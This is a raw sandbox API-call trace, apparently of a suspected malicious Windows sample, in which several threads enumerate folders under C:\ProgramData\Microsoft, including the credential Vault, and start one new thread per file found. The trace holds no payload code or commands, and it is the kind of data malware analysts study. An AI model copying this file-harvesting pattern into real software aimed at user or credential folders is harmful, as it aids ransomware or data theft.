	[0076.854] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e273f8
	[0076.855] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbaae4059, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xbaae4059, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dac978
	[0078.366] wcscmp (_String1=".", _String2=".") returned 0
	[0078.366] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbaae4059, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xbaae4059, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.366] wcscmp (_String1="..", _String2=".") returned 1
	[0078.366] wcscmp (_String1="..", _String2="..") returned 0
	[0078.366] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ecc15f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xa4ecc15f, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xa4ecc15f, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x930d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default User.dat", cAlternateFileName="DEFAUL~1.DAT")) returned 1
	[0078.366] wcscmp (_String1="Default User.dat", _String2=".") returned 1
	[0078.366] wcscmp (_String1="Default User.dat", _String2="..") returned 1
	[0078.366] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x80) returned 0x498dac0
	[0078.366] wcscpy (in: _Dest=0x498dac0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures"
	[0078.366] wcscat (in: _Dest=0x498dac0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\"
	[0078.366] wcscat (in: _Dest=0x498dac0, _Source="Default User.dat" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat"
	[0078.366] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x498dac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a8
	[0078.367] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37896d36, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x37896d36, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x37896d36, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy.dat", cAlternateFileName="")) returned 1
	[0078.367] wcscmp (_String1="FD1HVy.dat", _String2=".") returned 1
	[0078.367] wcscmp (_String1="FD1HVy.dat", _String2="..") returned 1
	[0078.367] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x47bc590
	[0078.367] wcscpy (in: _Dest=0x47bc590, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures"
	[0078.367] wcscat (in: _Dest=0x47bc590, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\"
	[0078.367] wcscat (in: _Dest=0x47bc590, _Source="FD1HVy.dat" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\FD1HVy.dat") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\FD1HVy.dat"
	[0078.367] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bc590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa70
	[0078.367] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x93038, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.bmp", cAlternateFileName="")) returned 1
	[0078.367] wcscmp (_String1="guest.bmp", _String2=".") returned 1
	[0078.367] wcscmp (_String1="guest.bmp", _String2="..") returned 1
	[0078.367] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x72) returned 0x47bc610
	[0078.368] wcscpy (in: _Dest=0x47bc610, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures"
	[0078.368] wcscat (in: _Dest=0x47bc610, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\"
	[0078.368] wcscat (in: _Dest=0x47bc610, _Source="guest.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.bmp"
	[0078.368] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bc610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa6c
	[0078.368] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1518, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.png", cAlternateFileName="")) returned 1
	[0078.368] wcscmp (_String1="guest.png", _String2=".") returned 1
	[0078.368] wcscmp (_String1="guest.png", _String2="..") returned 1
	[0078.368] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x72) returned 0x47bc690
	[0078.368] wcscpy (in: _Dest=0x47bc690, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures"
	[0078.368] wcscat (in: _Dest=0x47bc690, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\"
	[0078.369] wcscat (in: _Dest=0x47bc690, _Source="guest.png" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\guest.png"
	[0078.369] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bc690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc
	[0078.998] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x967, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-192.png", cAlternateFileName="")) returned 1
	[0078.998] wcscmp (_String1="user-192.png", _String2=".") returned 1
	[0078.998] wcscmp (_String1="user-192.png", _String2="..") returned 1
	[0078.998] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x78) returned 0x47bc110
	[0078.998] wcscpy (in: _Dest=0x47bc110, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures"
	[0078.998] wcscat (in: _Dest=0x47bc110, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\"
	[0078.998] wcscat (in: _Dest=0x47bc110, _Source="user-192.png" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png"
	[0078.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bc110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa60
	[0078.999] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-32.png", cAlternateFileName="")) returned 1
	[0078.999] wcscmp (_String1="user-32.png", _String2=".") returned 1
	[0078.999] wcscmp (_String1="user-32.png", _String2="..") returned 1
	[0078.999] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bc710
	[0078.999] wcscpy (in: _Dest=0x47bc710, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures"
	[0078.999] wcscat (in: _Dest=0x47bc710, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\"
	[0078.999] wcscat (in: _Dest=0x47bc710, _Source="user-32.png" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png"
	[0078.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bc710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf90
	[0078.999] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-40.png", cAlternateFileName="")) returned 1
	[0078.999] wcscmp (_String1="user-40.png", _String2=".") returned 1
	[0078.999] wcscmp (_String1="user-40.png", _String2="..") returned 1
	[0079.000] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bc990
	[0079.000] wcscpy (in: _Dest=0x47bc990, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures"
	[0079.000] wcscat (in: _Dest=0x47bc990, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\"
	[0079.000] wcscat (in: _Dest=0x47bc990, _Source="user-40.png" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png"
	[0079.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bc990, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf94
	[0079.000] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="user-48.png", cAlternateFileName="")) returned 1
	[0079.000] wcscmp (_String1="user-48.png", _String2=".") returned 1
	[0079.000] wcscmp (_String1="user-48.png", _String2="..") returned 1
	[0079.000] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x76) returned 0x47bca10
	[0079.000] wcscpy (in: _Dest=0x47bca10, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures"
	[0079.001] wcscat (in: _Dest=0x47bca10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\"
	[0079.001] wcscat (in: _Dest=0x47bca10, _Source="user-48.png" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png"
	[0079.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bca10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf98
	[0079.001] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x93038, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 1
	[0079.001] wcscmp (_String1="user.bmp", _String2=".") returned 1
	[0079.001] wcscmp (_String1="user.bmp", _String2="..") returned 1
	[0079.001] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753728
	[0079.001] wcscpy (in: _Dest=0x4753728, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures"
	[0079.001] wcscat (in: _Dest=0x4753728, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\"
	[0079.001] wcscat (in: _Dest=0x4753728, _Source="user.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp"
	[0079.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4753728, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf9c
	[0079.002] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1518, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.png", cAlternateFileName="")) returned 1
	[0079.002] wcscmp (_String1="user.png", _String2=".") returned 1
	[0079.002] wcscmp (_String1="user.png", _String2="..") returned 1
	[0079.002] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753cc8
	[0079.002] wcscpy (in: _Dest=0x4753cc8, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures"
	[0079.002] wcscat (in: _Dest=0x4753cc8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\"
	[0079.002] wcscat (in: _Dest=0x4753cc8, _Source="user.png" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.png"
	[0079.002] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4753cc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa0
	[0079.003] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8d7b2a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1518, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.png", cAlternateFileName="")) returned 0
	[0079.003] FindClose (in: hFindFile=0x2dac978 | out: hFindFile=0x2dac978) returned 1
	[0079.003] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e273f8) returned 1
	[0079.003] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e17188) returned 1
	[0079.003] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733938) returned 1

Thread:
	id = 317
	os_tid = 0x141c

	[0076.855] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x42) returned 0x2db02e0
	[0076.855] wcscpy (in: _Dest=0x2db02e0, _Source="C:\\ProgramData\\Microsoft\\Vault" | out: _Dest="C:\\ProgramData\\Microsoft\\Vault") returned="C:\\ProgramData\\Microsoft\\Vault"
	[0076.855] wcscat (in: _Dest=0x2db02e0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Vault\\") returned="C:\\ProgramData\\Microsoft\\Vault\\"
	[0076.855] wcscat (in: _Dest=0x2db02e0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Vault\\*") returned="C:\\ProgramData\\Microsoft\\Vault\\*"
	[0076.855] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e27660
	[0076.855] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Vault\\*", lpFindFileData=0x2e27660 | out: lpFindFileData=0x2e27660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4bcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x448126f7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.004] wcscmp (_String1=".", _String2=".") returned 0
	[0079.004] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e27660 | out: lpFindFileData=0x2e27660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4bcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x448126f7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.004] wcscmp (_String1="..", _String2=".") returned 1
	[0079.004] wcscmp (_String1="..", _String2="..") returned 0
	[0079.004] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e27660 | out: lpFindFileData=0x2e27660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AC658CB4-9126-49BD-B877-31EEDAB3F204", cAlternateFileName="AC658C~1")) returned 1
	[0079.004] wcscmp (_String1="AC658CB4-9126-49BD-B877-31EEDAB3F204", _String2=".") returned 1
	[0079.004] wcscmp (_String1="AC658CB4-9126-49BD-B877-31EEDAB3F204", _String2="..") returned 1
	[0079.004] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476e668
	[0079.004] wcscpy (in: _Dest=0x476e668, _Source="C:\\ProgramData\\Microsoft\\Vault" | out: _Dest="C:\\ProgramData\\Microsoft\\Vault") returned="C:\\ProgramData\\Microsoft\\Vault"
	[0079.004] wcscat (in: _Dest=0x476e668, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Vault\\") returned="C:\\ProgramData\\Microsoft\\Vault\\"
	[0079.004] wcscat (in: _Dest=0x476e668, _Source="AC658CB4-9126-49BD-B877-31EEDAB3F204" | out: _Dest="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204") returned="C:\\ProgramData\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204"
	[0079.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476e668, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfa4
	[0079.005] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2e27660 | out: lpFindFileData=0x2e27660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x448126f7, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc041220b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc041220b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AC658CB4-9126-49BD-B877-31EEDAB3F204", cAlternateFileName="AC658C~1")) returned 0
	[0079.005] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.005] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e27660) returned 1
	[0079.005] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2db02e0) returned 1
	[0079.005] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73660) returned 1

Thread:
	id = 318
	os_tid = 0x1420

	[0076.856] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3e) returned 0x2d73c48
	[0076.856] wcscpy (in: _Dest=0x2d73c48, _Source="C:\\ProgramData\\Microsoft\\WDF" | out: _Dest="C:\\ProgramData\\Microsoft\\WDF") returned="C:\\ProgramData\\Microsoft\\WDF"
	[0076.856] wcscat (in: _Dest=0x2d73c48, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\WDF\\") returned="C:\\ProgramData\\Microsoft\\WDF\\"
	[0076.856] wcscat (in: _Dest=0x2d73c48, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\WDF\\*") returned="C:\\ProgramData\\Microsoft\\WDF\\*"
	[0076.856] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e278c8
	[0076.856] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\WDF\\*", lpFindFileData=0x2e278c8 | out: lpFindFileData=0x2e278c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87af8
	[0080.014] wcscmp (_String1=".", _String2=".") returned 0
	[0080.014] FindNextFileW (in: hFindFile=0x2d87af8, lpFindFileData=0x2e278c8 | out: lpFindFileData=0x2e278c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.014] wcscmp (_String1="..", _String2=".") returned 1
	[0080.014] wcscmp (_String1="..", _String2="..") returned 0
	[0080.014] FindNextFileW (in: hFindFile=0x2d87af8, lpFindFileData=0x2e278c8 | out: lpFindFileData=0x2e278c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0080.014] FindClose (in: hFindFile=0x2d87af8 | out: hFindFile=0x2d87af8) returned 1
	[0080.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e278c8) returned 1
	[0080.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73c48) returned 1
	[0080.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73078) returned 1

Thread:
	id = 319
	os_tid = 0x1424

	[0076.856] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x46) returned 0x2daf9d0
	[0076.856] wcscpy (in: _Dest=0x2daf9d0, _Source="C:\\ProgramData\\Microsoft\\Windows" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows") returned="C:\\ProgramData\\Microsoft\\Windows"
